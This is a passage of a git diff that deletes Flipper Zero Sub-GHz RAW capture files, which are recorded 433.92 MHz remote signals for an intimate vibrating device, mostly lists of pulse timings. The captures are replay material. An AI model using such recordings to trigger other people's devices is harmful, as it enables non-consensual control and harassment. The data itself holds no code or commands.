-862 409 -846 425 -850 1669 -436 417 -416 417 -450 403 -424 407 -416 445 -418 397 -864 417 -848 433 -816 417 -440 397 -454 415 -846 401 -850 413 -450 405 -424 407 -876 399 -854 415 -872 383 -448 391 -882 389 -442 383 -884 399 -434 417 -846 417 -428 395 -862 415 -850 439 -846 383 -854 423 -870 377 -858 447 -846 399 -848 417 -870 387 -876 1661 -416 445 -420 425 -440 383 -450 391 -448 411 -424 409 -844 425 -870 383 -852 423 -444 415 -420 427 -836 413 -854 423 -440 383 -448 393 -884 387 -874 419 -862 411 -416 417 -848 441 -420 415 -848 399 -424 441 -842 401 -426 411 -878 397 -838 451 -818 423 -840 415 -844 443 -816 415 -852 423 -840 453 -814 439 -816 1707 -418 415 -414 421 -412 447 -414 439 -410 417 -418 415 -864 409 -848 441 -826 453 -414 411 -418 411 -844 445 -846 413 -416 419 -416 439 -838 421 -844 403 -852 413 -440 407 -842 427 -430 407 -842 423 -398 437 -RAW_Data: -840 427 -412 447 -846 401 -852 413 -854 425 -838 421 -846 437 -844 419 -820 423 -842 421 -850 439 -842 1683 -422 419 -440 429 -390 447 -412 413 -422 441 -416 415 -854 395 -866 417 -850 399 -444 413 -412 405 -888 419 -844 399 -422 443 -414 413 -850 415 -842 423 -870 413 -410 445 -810 429 -410 449 -844 399 -424 443 -840 399 -426 445 -161432 165 -232 65 -400 661 -132 661 -100 10847 -68 19643 -66 4419 -66 12627 -98 62971 -66 1409 -66 3087 -132 4799 -166 1595 -100 4251 -66 3739 -100 829 -100 10969 -66 11957 -68 3669 -132 14959 -66 12929 -100 2605 -66 21575 -64 9653 -66 10833 -100 6503 -100 4269 -98 1575 -68 1119 -66 20799 -100 11337 -66 12425 -98 5869 -66 5275 -100 23955 -100 2349 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_4.sub deleted file mode 100644 index 33d7b6f81..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 4722 12713 -98 5249 -98 2855 -66 4579 -98 1855 -100 297 -68 2643 -68 733 -66 165 -100 1225 -66 2615 -98 4405 -66 2057 -100 1805 -98 2763 -100 1161 -100 429 -66 131 -66 8687 -100 1317 -130 7203 -66 1757 -66 2193 -66 231 -134 6811 -98 897 -100 4365 -66 2171 -132 4483 -100 2125 -100 665 -66 167 -66 8051 -100 461 -100 557 -100 1131 -66 3867 -98 2727 -100 3923 -66 163 -66 167 -200 267 -132 2125 -66 1031 -98 67 -66 1213 -98 1583 -98 1901 -66 6115 -66 12431 -68 1219 -98 2437 -98 753 -66 949 -98 97 -98 2541 -66 7033 -816 411 -876 373 -880 387 -882 389 -874 409 -846 413 -876 397 -880 581 -242 839 -448 383 -450 295 -532 441 -418 415 -416 351 -486 427 -838 417 -850 439 -844 387 -688 165 -442 415 -846 435 -848 387 -450 407 -422 131 -1158 387 -886 99 -1166 415 -410 437 -856 413 -412 409 -932 347 -422 423 -872 247 -596 411 -844 411 -844 427 -836 413 -886 387 -870 409 -866 417 -846 401 -850 415 -886 389 -870 1697 -412 123 -438 381 -450 427 -416 171 -682 417 -416 409 -872 419 -848 399 -886 393 -418 431 -822 257 -596 441 -418 415 -416 281 -996 403 -424 445 -612 239 -832 411 -444 417 -856 411 -418 413 -878 411 -418 415 -848 99 -258 71 -408 441 -844 401 -852 415 -854 423 -840 417 -848 439 -846 423 -852 417 -844 409 -862 419 -848 1683 -572 275 -412 435 -416 417 -708 123 -436 413 -442 411 -844 427 -852 411 -872 387 -446 415 -834 131 -246 61 -420 433 -418 417 -416 125 -1148 415 -418 449 -422 417 -840 417 -416 245 -1026 449 -414 409 -844 453 -386 433 -900 383 -424 409 -848 385 -894 425 -822 409 -884 397 -862 421 -844 401 -850 415 -854 423 -838 449 -844 1665 -454 405 -410 445 -408 409 -456 387 -444 413 -422 431 -852 387 -878 413 -842 415 -414 447 -976 287 -400 441 -412 445 -592 241 -832 433 -430 325 -516 419 -836 447 -698 139 -846 411 -408 441 -846 427 -396 433 -844 427 -424 443 -840 131 -1122 423 -866 193 -838 411 -866 285 -969 411 -842 309 -872 405 -830 387 -892 1679 -454 417 -410 445 -382 447 -418 439 -386 445 -420 427 -854 409 -854 427 -838 419 -418 453 -830 411 -410 445 -412 409 -444 409 -840 441 -416 405 -438 445 -836 433 -388 443 -840 435 -410 417 -856 433 -388 445 -840 401 -426 445 -874 383 -852 411 -968 299 -856 411 -850 65 -68 297 -830 439 -844 405 -858 419 -854 163 -828 1495 -428 415 -420 431 -400 441 -428 419 -414 407 -440 273 -850 419 -848 337 -908 443 -420 427 -856 411 -412 455 -RAW_Data: -388 413 -448 413 -850 417 -480 377 -426 413 -852 413 -420 439 -848 413 -422 127 -850 421 -418 439 -838 421 -420 439 -129126 97 -198 465 -66 65 -198 951 -464 197 -68 199 -366 4381 -68 1195 -100 3347 -100 265 -68 4025 -98 4017 -132 4249 -100 1961 -100 2397 -66 11027 -200 2425 -102 563 -134 299 -66 1491 -66 1131 -132 3153 -66 363 -100 165 -100 701 -66 3123 -100 1795 -100 299 -100 2951 -100 561 -66 293 -66 1187 -130 6135 -68 4709 -66 297 -68 7121 -66 493 -66 423 -132 887 -198 10559 -66 1747 -98 329 -66 3495 -66 10321 -132 131 -134 165 -134 13139 -98 1447 -66 331 -100 297 -230 3253 -66 3023 -98 1383 -66 3943 -100 2257 -134 533 -134 2387 -66 2997 -66 1027 -100 331 -132 3389 -132 5485 -66 3647 -100 4157 -66 985 -134 701 -96 2243 -66 5305 -98 799 -66 701 -66 629 -66 5745 -100 8369 -64 197 -196 1311 -68 65 -98 6915 -98 7535 -66 357 -98 823 -66 2111 -66 3747 -66 5571 -102 1199 -66 1233 -100 3335 -132 5257 -66 8577 -68 2251 -296 11381 -64 5541 -100 4287 -134 2557 -64 1575 -66 1759 -66 799 -232 731 -98 5001 -66 1925 -100 527 -130 523 -68 1969 -100 293 -100 101 -100 999 -132 2247 -66 1909 -64 11793 -98 1455 -64 263 -66 263 -132 565 -66 15485 -66 499 -98 4411 -66 4353 -100 2591 -166 1583 -100 1513 -66 229 -66 935 -100 425 -66 1573 -68 4977 -100 389 -66 953 -166 9865 -102 949 -100 229 -98 719 -100 433 -66 463 -66 599 -66 929 -100 1227 -100 4763 -98 3835 -98 231 -66 801 -134 2645 -166 14869 -164 1583 -66 2389 -66 2027 -66 1755 -100 4631 -66 2023 -98 695 -66 3091 -64 6123 -66 4021 -66 4977 -66 787 -100 361 -64 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_1.sub deleted file mode 100644 index 2be83b3c1..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 5431 -66 1327 4798 4241 -68 1617 -66 1259 -134 1761 -66 327 -98 15551 -100 2333 -66 1827 -66 2419 -132 1293 -134 3675 -66 4327 -132 2893 -66 1263 -66 1921 -98 15209 -100 435 -98 4361 -164 6667 -100 9305 -132 665 -66 12279 -66 10563 -100 2117 -100 2219 -100 2553 -66 1201 -66 2879 -98 229 -98 623 -132 1979 -66 1681 -66 1905 -130 3371 -98 4905 -134 65 -100 4605 -164 5789 -66 2885 -264 1625 -100 465 -98 7729 -98 4317 -66 2447 -98 19045 -66 2781 -66 231 -66 697 -66 3849 -166 3519 -66 8259 -100 531 -98 11327 -130 1921 -66 6025 -100 7979 -134 3925 -66 1593 -100 1851 -66 199 -100 2061 -66 5845 -132 2827 -66 5311 -132 853 -64 949 -100 2795 -66 14817 -66 1465 -98 859 -66 995 -66 2239 -66 4247 -132 231 -66 5011 -66 1291 -134 4179 -168 1291 -130 3257 -66 1527 -100 3551 -66 1687 -888 131 -1126 365 -894 207 -1074 361 -888 259 -1034 351 -908 309 -954 1569 -546 409 -420 415 -450 349 -488 413 -450 401 -428 407 -876 399 -852 415 -870 389 -442 415 -418 135 -462 399 -870 383 -452 405 -428 407 -448 413 -848 413 -876 397 -430 407 -878 399 -426 273 -874 397 -424 443 -848 399 -424 411 -876 395 -850 415 -870 379 -882 397 -862 417 -848 437 -814 417 -850 425 -872 411 -844 1665 -450 409 -426 409 -448 411 -420 411 -444 385 -900 381 -450 393 -450 411 -456 413 -420 439 -430 387 -446 415 -870 379 -450 393 -450 407 -426 443 -848 401 -850 417 -450 403 -852 415 -444 393 -852 415 -450 401 -852 417 -442 393 -882 385 -852 423 -872 411 -860 415 -846 397 -852 415 -854 393 -900 379 -876 411 -878 1679 -418 431 -400 431 -418 415 -454 399 -432 415 -846 439 -428 387 -448 415 -416 433 -428 407 -448 409 -436 385 -876 411 -418 411 -442 383 -450 393 -882 387 -876 407 -424 411 -876 409 -452 381 -870 411 -436 389 -878 407 -418 425 -872 379 -878 411 -844 429 -852 415 -868 415 -852 393 -868 417 -848 405 -882 383 -894 1665 -446 385 -442 421 -444 381 -448 411 -434 417 -870 381 -472 381 -448 391 -444 413 -446 409 -432 387 -446 417 -868 413 -442 395 -424 445 -414 409 -864 417 -846 437 -388 445 -844 405 -454 415 -844 433 -388 445 -848 437 -388 445 -846 401 -850 417 -884 389 -838 445 -846 413 -844 425 -852 413 -870 381 -882 399 -866 1673 -424 443 -416 409 -436 415 -450 385 -452 403 -854 413 -416 433 -412 443 -414 409 -440 417 -446 383 -450 409 -854 413 -452 401 -426 443 -380 451 -854 413 -844 425 -428 409 -842 425 -424 443 -844 401 -426 443 -844 403 -424 -RAW_Data: 443 -838 433 -836 425 -824 443 -852 409 -838 421 -848 439 -844 421 -834 413 -856 423 -840 1705 -420 417 -416 439 -412 415 -452 419 -418 409 -848 415 -420 435 -430 409 -418 415 -420 435 -432 415 -416 455 -818 421 -446 413 -420 429 -416 413 -850 413 -870 385 -446 415 -856 427 -408 415 -872 409 -412 413 -850 435 -430 415 -127836 131 -194 97 -164 497 -66 6745 -98 5259 -132 1771 -64 3805 -64 65 -100 3815 -98 919 -232 2759 -100 2591 -66 1845 -66 557 -66 1941 -100 2879 -66 1777 -66 1553 -100 929 -100 4607 -132 16627 -66 1591 -66 1429 -66 4119 -66 4345 -66 1329 -132 4415 -66 1127 -198 1789 -98 4133 -66 63 -66 2045 -100 7835 -66 4457 -68 6167 -66 10207 -98 3451 -100 4841 -66 5653 -132 393 -66 4227 -66 1915 -134 65 -100 1093 -100 1417 -98 487 -66 761 -132 4647 -68 995 -66 629 -100 1119 -98 657 -68 1891 -132 2605 -66 3071 -166 597 -66 5751 -100 1563 -66 1563 -132 3959 -100 599 -134 1281 -66 2565 -66 1613 -66 1905 -130 2247 -66 1693 -66 1065 -68 3453 -68 265 -68 3013 -134 1423 -66 3459 -100 2937 -164 1855 -98 5637 -130 857 -66 1857 -100 1063 -66 1349 -132 625 -132 1643 -66 5165 -98 4235 -100 2549 -234 657 -66 3353 -98 493 -66 229 -66 697 -66 799 -98 6249 -98 5481 -230 4777 -66 3461 -68 2613 -66 5065 -66 3383 -166 795 -100 6115 -132 6047 -100 10371 -66 633 -66 687 -66 1391 -230 2989 -100 993 -66 2635 -134 815 -66 1249 -66 391 -100 2285 -132 923 -66 2335 -64 2677 -98 1493 -66 4145 -66 623 -66 327 -132 2329 -100 297 -102 2167 -66 3111 -100 365 -100 627 -64 4293 -66 4213 -66 1717 -100 2725 -98 5477 -98 2455 -66 2029 -66 4363 -98 1181 -66 555 -66 6655 -100 665 -66 893 -66 299 -66 563 -66 197 -68 1557 -66 493 -66 2651 -132 4349 -66 961 -66 10135 -198 1525 -66 3121 -66 167 -66 2067 -98 4119 -66 5427 -230 1121 -68 1319 -66 1513 -66 1531 -66 4801 -68 331 -68 661 -68 657 -100 3181 -66 1459 -66 1461 -230 3181 -98 525 -100 3703 -132 15255 -68 695 -66 831 -264 859 -166 1615 -66 1213 -100 953 -66 1083 -130 4975 -66 789 -100 6661 -100 4413 -132 5225 -66 99 -132 587 -98 4939 -64 2721 -100 1997 -200 4783 -66 493 -66 555 -130 1509 -98 4277 -98 2843 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_2.sub deleted file mode 100644 index ca2200fbb..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 5049 -66 4209 -66 1083 -98 4221 3422 3569 -98 21983 -100 4141 -96 8883 -100 16407 -98 14527 -66 1883 -66 1583 -66 9949 -66 4067 -132 9163 -100 1677 -98 655 -66 8149 -132 14541 -876 307 -984 263 -988 291 -972 295 -966 339 -918 339 -912 363 -920 1611 -508 351 -472 361 -492 377 -450 413 -470 353 -908 369 -460 357 -506 385 -448 405 -450 377 -452 413 -444 385 -880 397 -468 381 -444 421 -426 407 -876 397 -852 413 -440 427 -846 421 -428 405 -878 393 -444 415 -846 399 -422 443 -848 435 -846 387 -886 389 -876 411 -846 411 -876 395 -868 421 -824 443 -852 399 -862 1669 -428 407 -416 445 -416 409 -446 413 -410 439 -844 421 -428 407 -416 445 -418 399 -438 413 -450 391 -852 421 -446 415 -410 421 -442 415 -846 405 -424 445 -842 431 -388 443 -844 439 -388 445 -848 405 -424 445 -844 433 -388 443 -844 439 -846 387 -852 423 -876 419 -818 443 -846 387 -852 423 -840 419 -850 439 -846 1673 -420 417 -416 435 -426 441 -380 445 -420 409 -878 411 -420 427 -410 413 -446 417 -412 443 -416 409 -870 419 -416 441 -396 423 -446 413 -834 411 -446 415 -838 425 -410 413 -866 409 -450 389 -868 411 -418 433 -868 383 -452 407 -848 413 -856 425 -838 419 -848 439 -846 423 -816 441 -842 409 -864 419 -848 437 -846 1675 -420 417 -452 403 -424 441 -382 447 -418 409 -844 417 -420 437 -428 417 -416 415 -452 403 -428 409 -876 397 -426 445 -414 411 -420 409 -874 407 -438 417 -842 441 -408 417 -872 409 -410 413 -872 409 -444 413 -856 415 -406 423 -872 411 -846 413 -844 429 -854 413 -856 395 -866 419 -846 439 -844 425 -824 445 -854 1679 -422 409 -446 413 -422 429 -416 413 -426 443 -812 431 -422 443 -384 451 -430 425 -406 415 -452 421 -836 413 -418 437 -426 441 -382 445 -852 413 -416 447 -844 413 -418 419 -846 437 -386 449 -846 403 -424 447 -846 437 -390 447 -842 433 -844 385 -864 415 -850 453 -832 415 -844 421 -852 413 -840 425 -840 419 -850 1689 -420 433 -416 415 -424 445 -382 445 -420 441 -848 413 -414 409 -448 413 -408 443 -416 417 -418 439 -842 421 -420 437 -428 417 -418 415 -856 173 -658 425 -840 421 -520 351 -840 421 -416 351 -918 451 -382 445 -850 415 -416 449 -122740 99 -496 65 -1064 297 -66 131 -66 1217 -230 3813 -66 8713 -100 3083 -64 99 -100 525 -132 7331 -66 5359 -100 423 -66 11887 -100 3819 -66 2853 -66 4171 -98 11177 -100 65 -100 12173 -64 3521 -100 467 -134 2917 -98 49851 -132 7049 -68 1025 -66 18377 -66 719 -100 131 -66 -RAW_Data: 20641 -66 30507 -66 3113 -66 12591 -66 2153 -66 4435 -98 2579 -66 8661 -66 10453 -66 5081 -100 2523 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_3.sub deleted file mode 100644 index df121086e..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 11735 -433 8111 -132 919 -64 1845 -100 4061 -100 13769 -98 1907 -100 433 -134 65 -100 1861 -66 1261 -98 655 -66 855 -98 491 -66 1875 -66 3079 -66 2393 -66 4875 -98 1577 -98 1707 -162 1047 -66 8415 -134 2257 -66 10787 -100 2477 -66 401 -100 365 -98 265 -68 599 -100 4563 -68 15691 -66 3149 -66 8067 -98 1029 -134 3821 -132 1643 -100 4959 -64 3079 -66 761 -66 2645 -132 1233 -66 4733 -100 1329 -200 301 -100 2523 -66 1781 -68 9905 -132 13053 -816 455 -842 165 -66 165 -868 421 -858 97 -68 251 -852 417 -822 201 -854 387 -884 1677 -422 395 -470 383 -448 391 -450 407 -424 409 -844 427 -426 441 -416 411 -436 417 -448 385 -450 403 -854 411 -410 437 -418 411 -448 411 -874 383 -420 437 -856 417 -416 409 -854 415 -448 411 -850 411 -420 409 -878 411 -418 413 -876 411 -846 421 -854 411 -854 393 -868 419 -852 439 -816 415 -886 387 -874 413 -848 1699 -430 405 -418 415 -452 379 -474 381 -450 425 -854 381 -450 429 -416 411 -424 445 -416 449 -406 425 -840 417 -850 437 -420 411 -452 399 -862 413 -844 403 -872 421 -428 403 -874 395 -444 411 -840 439 -412 409 -876 407 -412 411 -878 409 -840 425 -852 415 -852 425 -838 445 -846 411 -848 423 -848 387 -876 411 -848 1705 -430 407 -416 415 -454 399 -430 419 -448 385 -852 425 -442 383 -444 421 -428 405 -416 449 -426 401 -862 417 -852 405 -454 415 -416 407 -854 447 -844 399 -880 383 -442 411 -876 395 -424 441 -844 399 -424 409 -878 397 -424 441 -846 401 -850 415 -850 425 -872 417 -854 409 -844 391 -860 411 -884 399 -858 417 -846 1693 -412 415 -428 407 -416 443 -418 411 -444 415 -838 425 -442 383 -448 427 -398 435 -416 445 -418 399 -868 417 -848 397 -424 443 -416 409 -852 415 -844 425 -870 419 -414 409 -882 383 -442 409 -844 427 -426 407 -876 399 -424 445 -846 401 -850 415 -852 425 -838 415 -876 411 -848 421 -852 381 -902 379 -874 409 -862 1671 -414 443 -416 411 -438 419 -414 417 -452 407 -852 415 -450 401 -424 407 -448 413 -422 425 -410 415 -882 399 -864 417 -386 443 -420 413 -870 409 -866 417 -846 397 -422 443 -846 401 -426 443 -846 403 -454 415 -844 435 -388 445 -846 403 -854 415 -852 423 -876 411 -846 413 -846 427 -858 413 -854 397 -868 415 -842 1687 -418 433 -414 405 -454 415 -416 409 -420 413 -874 417 -430 409 -446 413 -420 427 -414 407 -424 443 -846 435 -846 385 -442 411 -416 439 -832 449 -846 433 -846 385 -452 411 -852 415 -418 433 -854 415 -440 409 -RAW_Data: -846 427 -428 409 -126696 65 -790 97 -924 65 -230 163 -98 263 -66 231 -198 199 -228 97 -132 393 -64 3759 -166 4093 -66 195 -64 261 -98 267 -66 6627 -98 4991 -66 13995 -132 9769 -200 595 -66 501 -168 465 -100 3701 -164 99 -66 329 -68 5581 -66 13369 -66 923 -66 2385 -132 1917 -98 13355 -66 433 -66 3151 -68 1589 -66 1321 -100 10057 -68 3821 -198 1955 -68 727 -66 1065 -98 3359 -66 635 -68 4833 -66 1167 -66 663 -132 3437 -100 495 -64 8159 -132 2139 -98 621 -66 393 -98 2685 -100 297 -68 627 -66 11065 -66 791 -66 1559 -66 129 -198 1533 -66 2079 -66 2447 -98 1131 -98 1729 -66 1423 -66 625 -66 99 -100 1093 -68 2623 -98 5455 -66 893 -132 4893 -66 2797 -100 3027 -66 557 -132 535 -66 4681 -66 8353 -200 2307 -66 6997 -66 8743 -66 5007 -100 1003 -66 199 -66 1257 -66 2843 -130 6003 -66 1795 -100 233 -100 1735 -100 663 -100 1321 -66 2009 -100 2653 -66 689 -100 397 -66 331 -68 199 -66 1921 -68 495 -98 625 -98 855 -100 7751 -66 3647 -130 1615 -98 1645 -66 231 -102 3055 -64 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_4.sub deleted file mode 100644 index 8346d7b93..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 3155 -164 1251 -134 4083 -132 1889 -132 1941 -66 329 -503 10401 -98 11937 -98 30327 -66 797 -68 7371 -66 12767 -64 27061 -132 24087 -100 27401 -64 9619 -98 197 -68 3223 -66 3087 -66 23119 -874 417 -844 401 -870 419 -858 411 -820 435 -862 415 -848 403 -848 1705 -416 417 -444 393 -424 411 -448 409 -434 387 -910 369 -458 387 -480 383 -452 403 -426 409 -450 383 -886 407 -848 421 -428 407 -446 413 -848 411 -846 425 -850 413 -450 403 -852 417 -450 403 -852 413 -410 435 -844 427 -426 441 -844 399 -852 415 -884 389 -876 407 -1014 257 -864 409 -916 341 -852 395 -1000 291 -844 1171 -68 467 -430 405 -418 415 -452 381 -472 383 -448 391 -884 389 -444 417 -414 427 -444 415 -414 411 -862 415 -420 409 -440 417 -448 387 -868 413 -450 403 -424 409 -876 397 -426 409 -876 399 -422 441 -846 401 -426 443 -846 403 -424 409 -878 395 -850 417 -854 423 -840 417 -850 439 -848 387 -884 389 -876 411 -854 413 -846 1677 -450 393 -450 411 -422 443 -416 409 -426 423 -874 381 -446 411 -442 383 -450 389 -450 409 -852 415 -452 399 -426 407 -416 445 -846 413 -418 415 -450 377 -902 385 -456 399 -862 417 -416 409 -854 415 -450 379 -878 413 -450 417 -850 409 -844 425 -856 409 -854 427 -838 419 -848 435 -842 389 -882 411 -842 441 -836 1701 -420 411 -416 441 -408 413 -442 421 -426 405 -874 397 -422 443 -412 411 -438 413 -444 417 -856 383 -448 395 -448 445 -388 443 -848 403 -454 413 -416 409 -850 447 -416 411 -852 413 -418 443 -846 413 -418 413 -850 439 -418 415 -848 405 -850 417 -884 387 -878 415 -856 409 -846 425 -858 411 -840 415 -884 399 -860 1673 -426 409 -448 413 -418 411 -442 415 -444 391 -872 387 -450 411 -424 411 -448 409 -420 413 -876 415 -428 411 -442 415 -452 401 -854 411 -412 419 -414 443 -848 403 -424 411 -878 403 -424 445 -844 399 -422 443 -846 401 -424 443 -842 397 -848 413 -864 409 -872 409 -870 407 -826 447 -840 403 -868 423 -822 413 -870 1697 -436 411 -414 413 -436 429 -412 445 -418 431 -836 447 -418 397 -440 415 -450 389 -450 409 -850 413 -452 403 -426 441 -382 445 -852 413 -418 445 -418 399 -868 419 -418 419 -862 411 -416 447 -844 411 -418 449 -816 439 -420 417 -119178 199 -364 465 -796 99 -700 593 -66 595 -134 97 -134 133 -66 2883 -100 1065 -98 14311 -68 19275 -66 7927 -66 8647 -66 2363 -66 2287 -66 25413 -98 7325 -66 1893 -98 9945 -132 5007 -100 4317 -100 499 -68 10473 -66 2921 -64 359 -66 1049 -66 8117 -16750 -RAW_Data: 99 -132 329 -1750 559 -332 163 -100 195 -66 21007 -64 8595 -68 20819 -64 525 -98 2183 -66 27841 -100 17965 -132 2023 -68 11399 -66 2221 -68 891 -66 3091 -100 23287 -200 8479 -100 2759 -66 595 -102 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_1.sub deleted file mode 100644 index 1f2b8ccaa..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 37679 36812 821 -100 6837 -64 7397 -100 11581 -100 4807 -66 1315 -132 133 -68 5097 -66 4167 -100 2065 -100 1481 -100 2645 -132 129 -162 1313 -100 3053 -98 12473 -68 4675 -102 1089 -98 793 -66 1161 -66 965 -134 1489 -100 8119 -66 10845 -134 1059 -66 1983 -98 1977 -166 363 -66 1259 -100 197 -66 3081 -132 2021 -66 1827 -132 3733 -100 2565 -228 2145 -66 2169 -100 1617 -98 2177 -64 1049 -134 567 -132 1355 -68 263 -68 1021 -100 263 -68 565 -66 1591 -68 165 -66 399 -66 295 -64 2479 -66 955 -132 2523 -132 831 -100 1225 -66 8513 -66 557 -66 699 -66 5057 -856 415 -876 397 -852 413 -870 381 -868 413 -866 411 -880 415 -834 1667 -450 403 -412 445 -412 415 -432 425 -440 383 -848 435 -432 419 -414 417 -440 393 -422 443 -416 417 -434 423 -838 417 -422 435 -434 387 -446 417 -852 425 -838 447 -422 395 -868 413 -450 395 -866 417 -418 439 -858 383 -444 409 -862 415 -842 405 -872 421 -852 381 -868 411 -872 409 -864 415 -842 435 -848 387 -884 1675 -430 381 -444 413 -442 427 -412 413 -446 411 -870 381 -446 411 -442 381 -872 429 -442 383 -450 393 -450 409 -852 415 -440 393 -422 443 -418 409 -852 415 -844 427 -422 443 -844 399 -424 443 -846 401 -424 445 -844 399 -422 445 -844 401 -850 415 -868 381 -868 413 -882 413 -832 413 -876 397 -852 413 -870 383 -880 1679 -420 411 -446 383 -448 427 -398 435 -418 415 -848 405 -454 413 -418 411 -866 417 -420 437 -428 387 -446 417 -854 425 -442 383 -448 425 -416 407 -848 417 -854 427 -440 383 -882 415 -410 423 -874 379 -448 395 -868 415 -454 399 -862 415 -842 405 -872 421 -858 381 -884 413 -840 413 -874 399 -836 453 -852 385 -876 1681 -420 415 -416 417 -432 425 -440 413 -418 395 -852 427 -408 445 -410 441 -844 421 -428 407 -416 445 -420 427 -842 417 -420 439 -432 387 -446 415 -852 395 -866 419 -418 439 -826 415 -440 419 -858 415 -418 411 -876 413 -416 415 -844 443 -846 419 -854 381 -872 411 -870 407 -866 419 -846 397 -846 417 -862 411 -848 1683 -450 411 -442 383 -450 427 -412 411 -448 409 -832 451 -414 413 -422 409 -878 411 -424 425 -410 415 -452 423 -826 413 -450 425 -398 437 -414 447 -846 411 -846 423 -426 441 -808 425 -444 415 -844 441 -418 417 -844 435 -388 445 -846 401 -848 415 -854 421 -840 449 -844 411 -842 429 -852 413 -856 393 -868 419 -848 1695 -422 421 -418 409 -422 443 -384 445 -422 441 -846 411 -420 441 -416 413 -868 409 -418 417 -420 431 -426 441 -840 399 -426 -RAW_Data: 443 -414 407 -436 415 -848 439 -840 419 -418 409 -852 417 -416 445 -846 411 -416 447 -844 415 -416 447 -130756 295 -364 299 -200 131 -234 133 -134 397 -298 65 -198 163 -98 131 -164 5421 -196 1913 -66 1495 -98 297 -100 14219 -134 795 -66 3009 -66 465 -66 6785 -66 7983 -66 11359 -130 1057 -66 365 -66 4843 -98 8475 -130 1015 -64 1515 -66 391 -66 1529 -66 399 -66 3971 -100 1479 -66 823 -100 2409 -66 165 -66 1675 -100 813 -64 1709 -66 2013 -64 3813 -98 133 -98 167 -100 15385 -100 4481 -98 1083 -66 7253 -66 1409 -100 5123 -68 995 -98 2869 -66 827 -134 3359 -68 661 -134 4567 -66 2523 -132 3531 -66 6179 -100 1031 -66 263 -98 1049 -66 3097 -100 2231 -68 1163 -66 595 -66 797 -66 331 -100 3571 -100 8363 -196 3095 -66 5959 -100 333 -66 1919 -66 2731 -66 665 -134 6645 -100 2825 -68 2059 -132 1459 -66 1263 -66 529 -68 10195 -66 1413 -66 1587 -66 331 -98 393 -66 1147 -66 2135 -132 1935 -66 9257 -98 11381 -66 6967 -66 923 -66 2795 -166 3721 -66 9375 -68 265 -66 3587 -66 12437 -66 2367 -100 10427 -98 5457 -134 3567 -64 3369 -98 1345 -198 863 -166 8813 -66 4055 -66 2151 -66 131 -98 7047 -66 6841 -66 4051 -66 727 -132 693 -66 1535 -68 789 -132 1551 -66 1763 -66 329 -64 1461 -202 1287 -66 4075 -66 4579 -100 1785 -66 1555 -66 1613 -98 6821 -100 799 -132 2737 -66 325 -198 3837 -98 3607 -66 851 -134 4513 -164 3389 -68 729 -166 8131 -98 593 -64 1015 -66 597 -66 7727 -166 599 -100 197 -68 5833 -66 2309 -132 12509 -66 1789 -66 3963 -164 2647 -66 6859 -66 4195 -100 2591 -100 8619 -100 761 -66 3925 -98 1557 -98 2621 -100 7079 -66 623 -130 557 -130 259 -64 11511 -166 2311 -66 1157 -98 5639 -66 99 -98 2753 -66 1791 -134 299 -68 1621 -100 535 -66 7127 -98 1189 -266 5067 -66 3583 -66 5203 -262 789 -66 851 -66 1183 -64 989 -98 2301 -98 4337 -68 6399 -68 3855 -66 655 -66 7649 -100 697 -98 197 -200 5199 -66 1127 -132 67 -164 861 -100 9935 -66 3487 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_2.sub deleted file mode 